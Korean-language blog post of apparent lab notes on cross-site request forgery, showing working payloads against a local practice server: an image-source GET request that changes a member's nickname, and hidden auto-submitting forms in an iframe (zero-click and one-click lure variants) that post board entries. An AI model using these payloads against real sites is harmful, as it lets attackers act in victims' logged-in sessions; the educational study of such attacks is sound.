CSRF (Cross-site request forgery)
공격자가 클라이언트를 이용해서 서버를 공격하는 기법

회원정보 변경 GET방식으로 날아간다.
파로스로 회원정보 수정과정을 찍어본 결과임 이것을 이용해 회원정보를 임의로 변경하겠음
http://192.168.24.129/member/member_modify_ok.asp?exec=modify&nickname=mana&email=111@111.11 HTTP/1.0
 
스크립트 코드
<img name="i">
<script>
document.i.src="http://192.168.24.129/member/member_modify_ok.asp?exec=modify&nickname=cho&email=111@111.11 HTTP/1.0“
</script>
 
밑줄친 부분은 변경하면 닉네임이 바뀌어서 입력이 된다.

 

게시판글을 누른후 변경된 정보

게시글을 눌렀을 때 자동으로 글작성이 이루어지도록 하는 실습
아래와 같은 내용으로 작성한다.
http://192.168.24.129/board/board_write.asp
name=test1
password=test2
email=test3
subject=test4
tag=T
content=test5
attachFile=
 
실제 아래와 같은 방식으로 게시글을 등록했으나 글은 등록되지만 모든 칸이 빈칸으로 표시가 되었다.결론은
get방식이라 post방식으로 사용할땐 먹히지가 않는다.
<img name="i">
<script>
document.i.src="http://192.168.24.129/board/board_write_ok.asp?name=test1&password=test2&email=test3&subject=test4&tag=T&content=test5 HTTP/1.0";
</script>
 
post방식은 form을 사용해야한다.
 
 
<form name="frm"method="post" action="http://192.168.24.129/board/board_write_ok.asp"
enctype="multipart/form-data">
<input type="text" name="name" value="test1">
<input type="password" name="password" value="test2">
<input type="text" name="email" value="test3">
<input type="text" name="subject" value="test4">
<input type="radio" name="tag" value="T">
<input name="content" value="test5">
</form>
<script>
document.frm.submit();
</script>



iframe이용 하는 방법

<iframe name="ifr"></iframe>
<form target="ifr" name="frm"method="post"
action="http://192.168.24.129/board/board_write_ok.asp"
enctype="multipart/form-data">
<input type="hidden" name="name" value="test1">
<input type="hidden" name="password" value="test2">
<input type="hidden" name="email" value="test3">
<input type="hidden" name="subject" value="test4">
<input type="hidden" name="tag" value="T">
<input type="hidden" name="content" value="test5">
</form>
<script>
document.frm.submit();
</script>

적용후



카멜사이트 CSRF 적용    
GET방식으로는 처리가 안되었다.
다음과 같이 포스트방법으로 처리 하자
 
http://192.168.24.129/board/board_insert.asp
name = cmd2 value=write
name = info_idx
name = p_from
name = re
name = sr
name = k
name = w
name = page value = 1
name = gubun value = qna
name = b_com value = yes
name = info_title value = test1
name = info_name value = test2
name = info_pwd value = test3
name = info_content value = test4
 
 
iframe을 이용한 방법
 
1.zero click attack(클릭없이 자동으로 submit)
 
<iframe name="ifr"></iframe>
<form target="ifr" name = "frm" method="post"
action="http://192.168.24.129/board/board_insert.asp" enctype="multipart/form-data">
<input type="hidden" name="cmd2" value="write">
<input type="hidden" name="info_idx">
<input type="hidden" name="p_from">
<input type="hidden" name="re">
<input type="hidden" name="sr">
<input type="hidden" name="k">
<input type="hidden" name="w">
<input type="hidden" name="page" value="1">
<input type="hidden" name="gubun" value="qna">
<input type="hidden" name="b_com" value="yes">
<input type="hidden" name="info_title" value="test1">
<input type="hidden" name="info_name" value="test2">
<input type="hidden" name="info_pwd" value="test3">
<input type="hidden" name="info_content" value="test4">
<input type="submit">
</form>
 
<script>
document.frm.submit();
</script>
 

 

 

자동으로 submit을 막아놨을 때(one click attack)
 
<iframe name="ifr"></iframe>
<form target="ifr" name = "frm" method="post"
action="http://192.168.24.129/board/board_insert.asp" enctype="multipart/form-data">
<input type="hidden" name="cmd2" value="write">
<input type="hidden" name="info_idx">
<input type="hidden" name="p_from">
<input type="hidden" name="re">
<input type="hidden" name="sr">
<input type="hidden" name="k">
<input type="hidden" name="w">
<input type="hidden" name="page" value="1">
<input type="hidden" name="gubun" value="qna">
<input type="hidden" name="b_com" value="yes">
<input type="hidden" name="info_title" value="test1">
<input type="hidden" name="info_name" value="test2">
<input type="hidden" name="info_pwd" value="test3">
<input type="hidden" name="info_content" value="test4">
xxx로 이동하시겠습니까?
<input type="submit" value="이동">
</form> 
<script>
document.frm.submit();
</script>
 
 
submit은 그대로 두고 submit버튼을 누르게 만들어 유도하는 방법
 
2차인증을 하는 이유
나의권한으로 서버에 1번 요청을 보낸다는 것이 문제이다.
그래서 로그인이 되어 있음에도 2차 패스워드 요청을 만들어 놓는 것이다.

'정보보안 > Web' 카테고리의 다른 글

Blind SQL Injection  (722) 2020.07.15
내장 SQL 활용  (752) 2020.07.15
XSS 공격 우회 및 방어  (0) 2020.07.15
XSS(Cross-Site Script)공격  (0) 2020.07.15
Paros설치 및 세션하이재킹  (0) 2020.07.15

+ Recent posts